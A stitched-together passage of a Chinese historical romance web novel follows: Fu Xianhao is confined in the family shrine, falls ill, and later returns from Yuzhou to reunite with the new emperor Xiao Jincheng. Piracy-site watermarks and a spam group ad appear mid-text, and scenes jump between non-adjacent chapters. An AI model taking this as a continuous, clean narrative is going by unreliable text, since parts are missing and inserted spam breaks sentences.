抬手的瞬间绵承里衣衣摆往下落了几分,萧瑾承垂眸撞见女子纤细无骨的手腕,仅仅两指就能够圈住,他不动声色地将茶盏放好,“你来说,少夫人日常饮食都用了些什么,如实说来。” 闻夕小心翼翼地瞥了眼傅羡好,得到她的颔首后才开口,“少夫人日常用得并不多,若是不和夫人用膳少夫人晚膳仅仅是用一小碗粥便结束了,若是心情愉悦时午膳前会用上一块糕点。” “嗯。”萧瑾承呷了口茶水,“你下去吧。” 他淡薄的神色似乎对她的话不甚在意,好似话并不是他问的。 傅羡好也不知他是何用意,隐在锦被下的手拽着榻垫,嘴角微启想要问他为什么要知道这些,可又怕说多了令他不喜。 就在纠结着该如何做时,侧对她坐着的萧瑾承忽而转过身来,晦涩难懂的视线将她团团包裹住。 她张了张嘴,好半响才发出点点声音,“今日不去大理寺吗?” 问完后傅羡好懊恼地垂了垂眸,也不知自己为何脱口而出的是这个问题,但又紧张地抬起头看着他,对他的回答抱有那么点儿期待。 期待的不是他会说些令她沉浸于柔情之中的话语,而是自己的问话能够得到他的回复。 萧瑾承将她的神色收入眼中,不紧不慢地转动着指节上的扳指,道:“事情不多,在家中处理就行。” 傅羡好了然地点点头。刺骨冷风敲打着镂空窗柩,如丝细小的寒风穿过缝隙拂过,傅羡好打了个寒颤。 寂静空旷的宗祠内只剩下她一人,身后的门扉不知何时被人带上,偶尔还能听到守在门外的侍卫来回踩踏积雪发出的吱吱声。 傅羡好跪坐在蒲团上执笔抄写着家规,思绪时不时地飘向远处。 今日这事是意外,可这样的情况下萧瑾承说出口的话令她无法不放在心中。 这颗跳动的心是何时落在萧瑾承身上的,傅羡好也不清楚,等她意识到自己喜欢他时早已过去了多时。 十一岁那年她随着乔氏来到萧国公府,那时是萧瑾承牵着她的手带她熟悉整座院落,告诉她往后这就是她的家,只要有他就不会有人欺凌她。 那时傅羡好半信半疑地颔首,也恰似惊魂兔子居住于国公府。 萧家上下除了萧希桥对她算不上多么友好外,任何一人待她都如同自家孩子那般,可傅羡好不是没有听说过外头的流言蜚语,也曾在幼时听闻萧家其他亲戚的指指点点。 乔氏和她的母亲并非亲生姐妹,她的母亲不过是山野姑娘,未出阁前曾救下跌落林间陷阱的乔氏,年少的乔氏当即认下了她母亲为姐姐,若不是双亲身亡,或许傅羡好这一生都不会和萧瑾承有过多的交集。 这么些年,乔氏待她如同亲女儿,傅羡好感激在心并未有过觊觎之心,可唯独有一点,她动了不该动的心,喜欢上萧瑾承。 可就算是喜欢萧瑾承,她也没有动过任何不好的心思,只是将这份喜欢压在箱底生怕有人知道。 然一朝荒唐,府中流言四起,道她为了留在国公府,不惜使了下作手段。 那一碗汤羹是她亲手端给的萧瑾承,无人能够证实除了她以外还有其他人动过这碗汤羹,包括傅羡好本人。 “傅羡好在里面?” 熟悉的娇俏嗓音唤回傅羡好飘荡的思绪,她落下纸笔回头看向推门而入的萧希桥。 “没想到我回来得还算是时候,还能看到你被关禁闭。”萧希桥澄亮的眼眸上下打量着跪在地上的傅羡好,‘啧’了声,随手拉过蒲团坐在她身侧,汁源由扣抠群四二贰弍吾九衣嘶七全年每日更新“说吧,犯了什么事,让我也来听听你的笑话。” “不足以入你眼的小事而已。”傅羡好道,执起笔沾了墨汁继续抄写家规。 “你的事当然不会入我的眼。”萧希桥下颌微微抬起,神色中漫起些许傲气,但看到她重新抄书去时又觉得匪夷所思,俯身想要夺过毛笔,“我跟你说话呢,你抄什么抄。” 傅羡好收回手躲过了她的动作,无奈道:“我需要抄完家规才能出去,若是不赶紧抄怕是后天也抄写不完。” 萧希桥闻言上挑的眉眼瞬间凝到一起,瞥了眼有一指厚的家规,娇俏的神色敛去,凛神看着傅羡好。 她回府后只听到下人的窃窃私语,都还没有来得及回院里就直接赶来宗祠了,是以到底发生了什么她是不知情的。 不过,“你和我委屈什么,可别想我替你求情,我看你笑话都来不及。” 说完萧希桥像想起什么似地上下丈量着傅羡好,双手撑着蒲团头也不回地快步离去。 目送她的身影消失在院中后傅羡好才取过毛笔继续抄写家规,但谁知还没等她抄上几个字,又听到一阵疾跑声,紧接着就是闻夕气喘吁吁地问:“发生了什么事情,您怎么会在这儿!?” “奴婢在璙园等您许久都没有等到就想着回来找找,谁知还未踏入院里就听说您被老爷叫来宗祠里。”闻夕跪在她的身旁,看了眼她单薄的身影,差点儿就要哭出声来,“您怎么就穿了这些,出来时她们也不知道给您多披点衣服!” “我没事。”傅羡好抬手擦拭她的泪珠。 冰凉的指腹拂过闻夕的脸颊,冷得她的眼泪落得愈发厉害了,“奴婢去给您取衣裳和暖手炉来。” “不用麻——” “不用什么不用。”萧希桥再次踏入宗祠,但这次她不是自己一个人来的,而是带着她的侍女,侍女怀中不仅抱着锦被还带来了好几个暖手炉,“这个地方我待的次数可比你多多了,清楚的很,若是不多穿点不出今夜你就别想走出这扇门。” 萧希桥边说边将暖手炉塞入傅羡好的手中,塞完后才道:“我可不是心疼你,只是不想你冻死在这儿,免得别人说我家里苛待你。” 须臾瞬间,掌心的冰凉被温热所取缔,傅羡好垂眸瞥了眼暖手炉上的纹路,一看就知是萧希桥常用的,“谢谢,这儿冷你回院中暖暖身子。” 萧希桥对她表露的谢意满不在心,撇撇嘴:“少对我嘘寒问暖,我可不吃你这一套,黄鼠狼少来给鸡拜年。” 傅羡好早已经习惯她这幅模样,嘴硬心软。 萧希桥比她小三岁,傅羡好来到萧家时她不过九岁的年龄。 在她备受宠爱的年龄多了位姐姐,被人分走宠爱的小丫头甚是难过,也对傅羡好冷眼相看多时,事事都要和她相争,但凡和国公府有交集的世家女子,都知萧希桥并不喜欢她。 但让傅羡好意外的是,那件事发生之后,萧希桥是除了乔氏外第一个站出来为她说话的人。 那时府中也有不少下人对她指指点点,小姑娘知道后发了好一通脾气,命那群多嘴的下人跪在烈阳中整整一个时辰,直至有人撑不住时才叫人来抬走了他们。 “你可别想太多,我不是为了你,不过是整治下家中下人而已,下人对着主子指指点点算什么事情。” 事情发生后,萧希桥是这么对傅羡好说的。 思及此傅羡好笑了笑,‘嗯’了声,睨看院中的漫天飞雪有越下越大的趋势,顺着她的话语道:“雪天不好走,再晚点摔着哭了鼻子,我岂不是又要看你的好戏了。” 萧希桥轻‘哼’了下,带着侍女头也不回地走了。 傅羡好莞尔一笑,这是她今日以来笑得最为灿烂的笑容。 院中的雪果然越下越大,初时还是缕缕飘雪,不多时后演变成了鹅毛大雪,覆盖住了宗祠院中的脚印,也不再有人踩踏,苍茫承雪和干枯枝干交织相缠。 冬日夜来得早,烛火随风摇曳滑过宣纸。 傅羡好揉了揉干涸的双眸,抄写了近两个时辰不过抄了五十多页,久坐导致腰身疲累,她起身伸了道懒腰,望着院外一盏盏亮起的烛火,潋滟眸光落在了不远处的楼阁。 宣晖园内的楼阁,是萧瑾承的书房,也是他的住所。 远远望去楼阁灯火明亮,他今夜并没有出府。 傅羡好的指节微微颤抖,想要伸手去触碰那道光影,可又怕盖住了光影。 一直以来她都认为喜欢萧瑾承是她一个人的事情,唯一外露的一次是他质问为何要下药时,她才将那份喜欢宣之于口。 她喜欢萧瑾承,怎么会害他。 但萧瑾承不信。 傅羡好不怪他不信,证据确凿的情况下谁会信任‘加害者’呢。 站在寒风中的她眨了眨眼眸,将盈溢在眸中的水光敛了下去,回到宗祠中继续抄写着家规。 自己是什么时候睡着的傅羡好并没有意识,只是在睡梦之中听到似乎有人在呼唤着自己的名字,她想要睁开眼睛看看是谁却始终睁不开,下一秒就身处在火炉之中。 炙热的火炉灼烧着她的身躯,试图将她吞入滚烫废墟之中。 傅羡好想要撑着壁炉想要爬出去,可浑身上下都使不出一点儿力气来。 寒冬的雪依旧下着,静谧了一整日的宣晖园现下焦灼万分,往来的下人们端着一盆又一盆的炭火往卧阁去,围在床榻前烘暖了整间屋子。 乔氏坐在床榻边缘,取来帕子擦拭着傅羡好额间碎汗,“宋大夫还没有来吗?” 伺候在侧的侍女们摇了摇头。 乔氏皱了皱眉,正要开口之际忽而听到傅羡好的呢喃声,她赶忙趴近,“什么?” 傅羡好被锦被覆上的双手费力的拱起,神色不似往常那样温和宁静,似乎是在用力地解释着什么。 听了许久后,乔氏才听清她到底在说些什么。 她或是在重复‘不是我,我没有。’,或是在呢喃自语般唤着萧瑾承。 意识到是在指什么事情的乔氏微微怔忪,抬起眸来看向紧闭着眼眸的傅羡好,心中闷得慌。 “他怎么说。”乔氏问。 “奴婢只见到了鹤一,世子正在处理文书。”伫立在侧的丫鬟回。 乔氏心中紧了紧,“再去唤,就说他再不过来我就过去了!” 望着静卧在床榻上的傅羡好,乔氏忽然觉得自己是否做错了。 萧瑾承来时,傅羡好还未醒来。 乔氏遣散了卧阁中的丫鬟们,也没有抬头看他,眼眸一瞬不落地凝着傅羡好。 萧瑾承踏入卧阁起眼眸就掠向傅羡好,久久都没有移开,躺在榻上的她双颊冒着不健康的绯晕,嘴角上下微微触碰着,不知道在喃喃自语些什么。 “瑾承,你说我是不是做错了。”乔氏回头。 萧瑾承狭长的眼眸中闪过些许迟疑,但也仅仅是些许而已。 他没有回答。 “当初你跟我说要娶羡儿,我应该拒绝的。”乔氏也不需要他回答,她只是在和自己说话而已,“我忽略了你只是为了责任,为了她的名声,而羡儿对你是用了感情,我以为你们在一起久了或许一切都会过去的。” 彼时的乔氏觉得不说傅羡好的爱意,只说萧瑾承对待她极好,日久怎么不会生情。 “可现在看来,我错得离谱。” 她从来不觉得萧瑾承会因为自己生病而留在府中,这个回答也在她的意料之中。 “那——”她顿了顿,深吸了口气后才问:“那你为何在这儿?” 萧瑾承微微坐直身,眸光一瞬不眨的和眼前人对视,不答反问:“若是没有记错,这儿也是我的卧阁,我为何不能在这?” “我没有这个意思。”傅羡好慌忙摆手,目光紧紧地锁着他,直到看到他浅浅扬起的嘴角时霎时间松了口气,心中闪过些许名为欣喜的异样感,神色真挚地解释道:“只是醒来看到只有你在这儿,有些少见。” 说着她顿了下,试探性地道:“你在这儿,我很开心。” 萧瑾承指尖轻点着扳指,似笑非笑地看着她,“母亲和我说你病了我便来看看。” 傅羡好听闻乔氏来过,下意识地摸了摸床榻边缘的位置,“迷迷糊糊的时候似乎是有听到母亲的声音。” “嗯,她守了你许久。”萧瑾承道。 清薄的眸光打量着傅羡好的神色,她神色间闪过温柔、愉悦和些许了然,除此之外并无他意,他眸光冷了冷。 须臾片刻后,他站起身,“我还有公文要处理,晚些时候再来看你。” 听到最后一句话时傅羡好瞳孔瞬间放大,漆黑的眼眸中略过闪闪星光,她神情呆呆地看着萧瑾承的背影,嗓音微颤,“好。” 男子欣长的身影被烛火拉得很长很长,倾斜洒落在傅羡好的身上,影光下的热意将她整个人都烘得暖洋洋的,不似寒冬似阳光正好的春日时节。 他走出去不久,闻夕就进来了。 怔愣的傅羡好依旧望着门扉的方向,宛若身处在一团巨大的棉花之中,轻软的棉花将她团团包裹住,将冰冷多时的身子一点一点的捂热。 盈睫泪珠倏地砸落在锦被上。 不知情况的闻夕被她吓到了,可看她脸上的笑容,又好像并不是什么坏事,“您没事吧?” 傅羡好喜极而泣般笑出声来,双手抓着闻夕的手摇晃着。 “闻夕,他说晚些时候再来看我!” 静默顷刻,他倏然转过身,径直朝着那道惊讶的身影走去,不等她开口便俯身含住她的下唇,辗转纠缠。 直到她呼吸弱了几分,萧瑾承方才松开逗弄的薄唇,额间相抵平视着傅羡好荡着涟漪的瞳孔,道:“三年。” 傅羡好疑惑:“嗯?” 萧瑾承微抬身,挑开落在她眸前的细碎发丝,垂落着眼睑端详丈量着她的容貌,道:“三年后,你若是不回来,我就去找你。” 他松开手,骤然转身离去。 离去的背影异常得决绝,就好似下一瞬傅羡好就会拒绝他。 门扉被推开,他的身影也随之远去。 傅羡好伫立于原地,凝着男子背影多时,直到瞳孔中不复他的存在,才慢慢地垂下了眼帘。 观祺走了进来,瞥见盈溢于姑娘眼角的微许水光,呼吸微滞,怔在原地不敢动,看了眼随行入内的陈曦,陈曦摇了摇头,都没有出声。 也不知过去了多久,傅羡好抬起眸,烛影斜斜掠过她皎洁无暇的脸庞,清亮的眼眸不见任何的水光,她转身走向榻,道:“收拾好东西,明日一早启程。” 傅羡好顿了顿,“先去渝洲。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【正文完】 第 86 章 第 86 章 渝洲距京城千里远,山高水长。 烟雨朦胧,河上画舫迢迢,市井街坊恰如落在棋盘上错落有致,河岸两侧的酒肆喧嚣热闹,夕阳西落时分,漫天的霞光落于清河内,与河岸两侧一盏紧接着一盏的烛火交相辉映。 夜晚的渝洲笙歌袅袅,精致的像幅画卷。 “姑娘,宫中送的锦盒到了。” 女子雀跃的嗓音伴随着小跑声而起,划破静谧长空荡入院内。 落座于庭内的女子一手翻阅着书册,另一边手提笔微抬点了点砚台中的黑墨,听到观祺的话语,她抬眸看去:“又来?” “嗯。”观祺颔首,锦盒摆上了桌案,她和轻挥着折扇的陈曦对视了眼,道:“前两年不过是逢年过节送来,今岁开春后,半个余月就会收到一次。” 傅羡好落笔,掀开锦盒上的盖子,顷刻之间,淡淡的桂花香扑面而来,锦盒内装着掌心般长的桂枝,点缀于桂枝上的桂花制成了干花的模样。 除此之外,并无他物。 这是在以物提醒,莫忘了归期。 傅羡好忍俊不禁地望着锦盒中的桂枝,而后不紧不慢地盖上匣盒,思忖少顷,问:“今日来的是谁?” “余白下边的侍卫。”观祺捧起锦盒,回想了下那男子的面容,“是个新面孔,之前不曾见过。” 傅羡好若有所思地颔首。 她提笔道:“叫他替我送封信给余白。” 观祺微眨眼眸,抬眸和陈曦对视了眼。 留在院中伺候的陈曦微微耸肩,她也不知道姑娘的用意,将手中的折扇递给观祺后,前往院中书房取来信封和封漆。 不过半炷香的时辰,傅羡好就已经落了笔,她叠好宣纸递给陈曦,对观祺道:“信送到余白手中时,提前告诉他不要告知萧瑾承,自个知晓就好。” 她微顿片刻,问:“前些日子让你去寻的那位姑娘,可找到了?” “苏如卿幼年时跟随祖父母身边学习,九岁那年随着父亲的升任四处奔走,但由于在渝洲已有指腹为婚的青梅竹马,故而独身回了渝洲。” 傅羡好看了眼册子上落有的学堂名号,她在渝洲两载多间,并未听闻过此学堂。 观祺瞥见自家姑娘指腹缓缓擦过的地方,道:“学堂交由彼时颇负盛名的先生打理,但不曾想那男子见学堂名声赫赫,往来求学的学子不仅仅是渝洲人士便大肆敛财,书费极其高昂,普通老百姓家中都缴不起,更别说那群身无分文的孤儿。” “奴婢观察过,苏如卿并非是个故意作秀的人,姑娘若是有意将书堂交到她的手中,也不是不可以。” 傅羡好静默不语,合上了册子。 她来渝洲已经两年有余,当时本是打算在此落脚半载便动身前往平阳城,但落脚此地的半个月后,她碰到了一群围在书院外侧耳倾听的小姑娘,小姑娘们瞥见有人前来倏然间四处逃散。 她们散开不久,书院内朗朗读书声徐徐而来。 书院外茶坊的掌柜见傅羡好对她们的举止起了兴致,谈笑道书院中的高门子弟数不胜数,她们也许是向往着往后能够嫁给其中一位翩翩贵公子。 傅羡好并未将他的话落在心上,而是寻了个胆子稍微大一点的姑娘询问,方才得知她们是书院旁的寻常百姓人家,家中交不起书费,她们又正处于懵懂之年,虽不懂书画是何物,但还是对成群结伴进出高门女子言谈举止吸引。 虽听不懂她们言语中的内容,却忍不住想象自己如此模样。 傅羡好看着小姑娘们须臾,便道如果她们不嫌弃,自己可以给她们教授学识。 小姑娘们自是愿意的。 而教书的地点就落在了傅羡好于渝洲的院中,不过小姑娘们于她教授的事情没多久就传开了,四下百姓纷纷带着自家孩子前来求学,院中慢慢地坐不下,便寻了个院落开了学堂。 傅羡好原本打算半年后就离开渝洲,如今也在渝洲待了两年多。 这两年多内,她晌午前教书,晌午后便前往渝洲城四下踏青,偶尔夜游渝洲城,日子过得还算是惬意。 不过,傅羡好也没有忘记远在宫中的某个人。 这两年多间,宫中送到渝洲的锦盒已有上百个,样样都是与桂花有关的物品,又样样不相似,就好似是要将她藏于心中多年的喜好一一得以满足,叫她不再留有余念。 然而傅羡好还没有想好,她走后,书堂要如何处理。 思忖微许,她起身道:“明日教书先生来,带着他和孩子们熟悉一下,苏如卿那边且看她是否有所打算接下,再留些信得过的在渝洲,等到有人能够接下书堂后再回京。” “是,奴婢明日就去。”观祺将匣盒递给陈曦,交换过她手中的信件,快步流星地朝着院落门口走去。 陈曦随着傅羡好走在院中小径上,睨见她若有所思的神色,迟疑地问:“姑娘是打算回京了?” “打算先去其他地方走走。”傅羡好掩嘴打了道哈欠,侧眸笑意盈盈地看向她,“好不容易出来一趟,总不能只待在渝洲。” 安置好渝洲的事物,傅羡好第三日便动身北上。 不过她也是走走停停,途径一处郡城时便停留几日,陈曦和观祺两人也四处打听着当地郡城附近适合游玩的地方,打听到后主仆三人脚程一转又朝着其他的郡城去。 渝洲离京城不过十来日的车程,傅羡好带着她们两人用了近四个月才回到京中。 她没有径直入宫,而是于夜幕低垂时分敲响了傅恺府邸的门扉。 傅恺推开门,见到伫立门口的傅羡好时还以为是看花了眼,怔怔地看着她,半响才反应过来,眸光下意识地巡过四下,除了主仆三人外并未见其他人,疑惑道:“怎么提前回来了?” “只有我。”傅羡好知道他在找谁,笑着回答了他的问题,边往里走边道:“回来过中秋。” 话语落下后,她停顿一息,补充道:“和他。” 傅恺闻言,笑了笑。 他微抬掌心示意护卫将门扉带上,挑眉道:“看样子,他还不知道你已经到京中了?” “嗯。”傅羡好颔首,一想到萧瑾承也许会被惊到的模样,就有种莫名其妙的雀跃弥上心头,“早前给余白递了消息,叫他帮我瞒着,在萧瑾承看来,我如今还在渝洲。” 落了点雀跃的清澈嗓音伴着清风徐徐入耳,傅恺微微侧眸垂下眼睑,凝着神情含笑的少女,肉眼可见的要比两年多前的最后一面松弛不少,压在身上的包袱好像也全都被抛下了。 他嘴角笑意扬起,“打算何时见?” “还没有想好。”傅羡好走走停停,游山玩水也没有想过这些,临近入京了才后知后觉地想起这件事,“他这两年多如何,不会只是书信中告诉我些能听的,实则夜以继日地忙碌?” “去岁是忙的。”傅恺倒了盏茶水,“太上皇退位,皇上登基后大刀阔斧改制,好在有许多制法是太上皇卒中在榻,皇上监国时期就在谋划的,并未多费功夫,更何况有你的嘱托在,余白他们哪敢不从命。” 傅羡好颔首,喝了口茶水。 她是到了渝洲后,才得知皇帝高热不退而致卒中一事,皇帝卒中无法参理朝政,自然而然地由太子监国,而正逢世家动乱,那年的萧瑾承忙得多日未曾入眠。 余白和影诀两人实在是劝不住,只得暗中寻了傅恺给身在渝洲的傅羡好去信。 半个月后,傅羡好离开后的第一封信被送入宫中。 偌大的信纸中,只落有一句话- 还好还未与殿下相定,若不然日日都要担心是否要做了寡妇。 “如今只要皇上夜里处理政事过晚,余白就会有意无意地提及你在渝洲的近况。”傅恺笑着,想起两年前萧瑾承染了风寒,病中还在寻他商谈着春闱一事。 眼看着商谈了一个时辰还未结束,等候在外的余白敲开门扉入内,言说着送往渝洲的锦盒傅姑娘已经收下了,垂眸等候着萧瑾承的命令,紧接着傅恺就被请了出去。 傅恺这才信了传言。 他呷着茶水润喉,看着笑而不语的傅羡好,道:“现下不过是满朝文武皆知,咱们皇上挂念的女子叫傅羡好,早已预定了皇后的位置,就是不知何时落位。” 两年多来,萧瑾承不曾隐瞒过自己的心思。 最初那年还有朝臣想要推举太子妃,他只是神色淡然地回了句,妻子人选已定,无需朝臣为他挂怀。 而后没多久,满朝文武皆知太子殿下念在心中的女子,是傅家傅羡好。 一开始还有朝臣不满,认为傅羡好乃是世家女,若他日成了太子妃,成了一国之母,日后世家定然还会再次涌上,霍乱朝政。 那日的早朝乱得不行,你争我吵。 毕竟朝堂中除了寒门氏族,还有王绍卿和傅恺等出身世家之人,争吵期间更有甚者乱了神,道太子殿下身上也流着世家的血,是否也能作为世家日后会复起的证据。 霎时间,吵闹的宫殿静了下来,跪了一大片。 他人不知,傅恺和王绍卿自是看懂,那人是早前萧瑾承看中的,欲要着重培养的内臣,如不出意外,他登基后此男子便会出入内阁。 此人能够于朝堂中毫无畏惧地道出此言,定然是受了萧瑾承的嘱意。 后来,也再没人拿傅羡好出身世家一事大做文章。 慢慢的,朝臣们也都自然而然地接受了当朝太子妃是傅羡好一事,只有在萧瑾承登基后不久,徐为止提到是否要开始着手准备帝后大婚之礼,其中还涉及到封后大典,事情复杂礼节繁多,虽不知傅羡好何时归京,但也该早早备下。 “礼部若是得知你已经在京中,现下指不定就开始敲锣打鼓了。”傅恺薄唇微扬,借着烛火掠见她耳垂微红的模样,思忖微许,道:“若不然我寻个时机,和萧予淮一同约他出宫小聚,你们见一面?” 闻言,傅羡好眼眸微亮。 她沉吟少顷,抬手掩住唇瓣低语片刻。 傅恺听着剑眉扬起,嗯了声。 傅羡好仔细地想了想,确定自己回京的事情萧瑾承并未知晓,心情不由得微微鼓起,隐隐期待着那日的到来。 “你与之前,很不同。”傅恺看着她一闪一闪的清透眼眸,道出了见到她时就想言说的话语,“最开始见你,你心事重重看上去跟苦瓜似的,身上背负的事情不少,出去三年,整个人都松落了不少。” “嗯。”傅羡好颔首,不说别人她自己都能感受得到,偶尔用现下的心境回想过往的几年也有些恍不过神来,不过— —“六叔好像也比三年前紧绷了些。” 她抬起眼眸,视线掠过装扮得满满当当的书房,却能够感觉到少了许多东西,“殿下还没有要下山的准备吗?” 傅恺抬起茶盏的动作停滞于半空一息,神色微变。 他落下还未递到嘴边的茶盏,无奈地摇头:“还没有。” 傅羡好默然,嘴角微张又缓缓阖下,半响都不曾言语。 她也已有三年未见萧清歌。 李皇后病逝萧澈被圈入德宗院后,萧清歌便遣散了公主府中的一众面首,入宫请旨前往护国寺剃发修行,一来是为国祈福,二来是敬了孝心,三来则是替弟请罪。 若是萧瑾承不应,便长跪不起。 而恰逢彼时京中流言蜚语纷纷,李后这些年联合世家作乱一事被闹得沸沸扬扬,但其毕竟已经不在世,矛头也渐渐落向了与李后和萧澈有着血脉之亲的萧清歌。 后来是太后出的面,同意了萧清歌的请求,不过改剃发修行为带发修行,待她想下山之时回来便是。 当日萧清歌便上了护国寺,至今未归。 “不说这个了。”傅恺起身,打断了傅羡好的思绪,“时候不早了,我已经命人收拾好了院子,你风尘仆仆归来想必也累了,先去歇着吧,皇上那边,我和萧予淮会伺机替你约他出宫。” 男子神色微凝,傅羡好知道他不想多言,颔了颔首。 傅羡好没有想到的是,翌日晌午后,萧瑾承便出宫了。 听闻他微服出宫的消息,她一开始还以为是自己回京的消息走漏了风声,陈曦派去的暗卫回禀是因王老夫人忽而病下,萧瑾承出宫是前去王家探病。 傅羡好还没有来得及担心,傅恺就带着人走了进来,紧赶慢赶地催促着她入宫,言语中她才知晓,王老夫人并未病下,只不过是王绍卿听闻她已经回京的事情后,寻了个理由引萧瑾承出宫。 而王老夫人,也被迫演了一场戏。 王老夫人什么都不知,但听闻王绍卿欺君,就算是不想演也得要演上一出。 快马加鞭出宫的萧瑾承抵达王家时,宣医馆的太医们都已经在王老夫人院中。 太医们面对着身体康健的王老夫人,自是什么都没有诊断出来,最终还是王老夫人醒来后,言说昨夜不小心用多了茶水,辗转反侧彻夜不眠,这才呕吐不已。 萧瑾承听完,安排了些人留着近身伺候。 批着奏章的他听闻消息紧急出宫,见王老夫人并无大碍,叮嘱了下人照看好王老夫人后,也就打算回宫中处理政务。 还没有走出院落,就被王绍卿叫住。 秋日艳阳透过林间斜斜洒落,斑驳光影这儿一块那儿一处地落在男子颀长有致的身影上,傲然挺立的身姿四下氤氲着薄薄的光圈,就是随手站在那儿都难掩凌厉之气。 萧瑾承漫不经心地回过身,看向快步走来的王绍卿。 王绍卿拱了拱手,眼角眉梢微微扬起,无不透着欣喜的气息,他道:“过段时日,我要去趟渝洲,皇上可有东西需要我带去给傅姑娘?” 萧瑾承闻言,眸中的冷冽深了几分。 他的眼眸在斑驳光影的衬托下,愈发得幽邃难测,“听闻前几日外祖母替你相看了人家,外祖母觉得甚是不错,你又出言拒绝了。” “嗯。”王绍卿颔首,并不含糊:“皇上知道我喜欢的类— —” “知道又如何。”萧瑾承黑眸微眯,像是淬了冰一般,刺骨寒冽,“相看到合适的人家前,你就别去渝洲了。” 话音未尽,他头也不回地离开。 望着步伐稳贴有力的背影,王绍卿若有所思地笑了笑,躲避多时的萧予淮走出来,已然听闻两人对话的他甚是不解地看着好友,“好端端的,你又刺他做什么。” 王绍卿扬起的嘴角敛下几分,他拍了拍萧予淮的肩膀,一言不发地走入院中,向王老夫人请罪去。 踏出王家的萧瑾承接过影诀递来的马鞭,翻身上马。 他坐于骏马上,垂眸扫了眼紧步跟来的余白,“渝洲没有动身的消息?” 离说好的三年,只剩下半个多月。 微沉的气息落下,余白摇了摇头,道:“姑娘还未言说。” 闻言,男子骨节分明的指节慢条斯理地摩挲着马鞭,静默须臾,他道:“七日后,前往渝洲。” 言说后他甩了下鞭子,夹紧马腹呼啸疾驰而去。 徒留余白和影诀对视一眼,早已知晓傅羡好眼下就在宫中等着的两人笑了笑,跃身上马跟了上去。 不过半炷香的时辰,萧瑾承就回到了宫中。 他快步流星地朝着承天宫而去,还未踏入承天宫宫门,前来通传的太监便道太皇太后如今在崇华宫等着。 崇华宫是萧瑾承的寝宫,若非要事其他人不得入内。 萧瑾承听闻后,回了崇华宫。 将将走到崇华宫门口,清脆的铃铛相撞声徐徐传来。 他微皱着眉,睨了眼似是未闻的余白等人,若有所思地走入内,步伐踏入宫门的刹那间,他倏地愣在了原地。 女子笑靥如花的面容映入眼帘,明眸皓齿的模样叫人禁不住心颤。 曾落于踝骨上方的踝链落于女子的两指间,她轻轻地晃动着踝链上的铃铛,清脆的声响再次扬起,徐徐坠入耳畔。 清澈透亮的嗓音漾起。 “萧瑾承,我回来了。” (正文完)魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m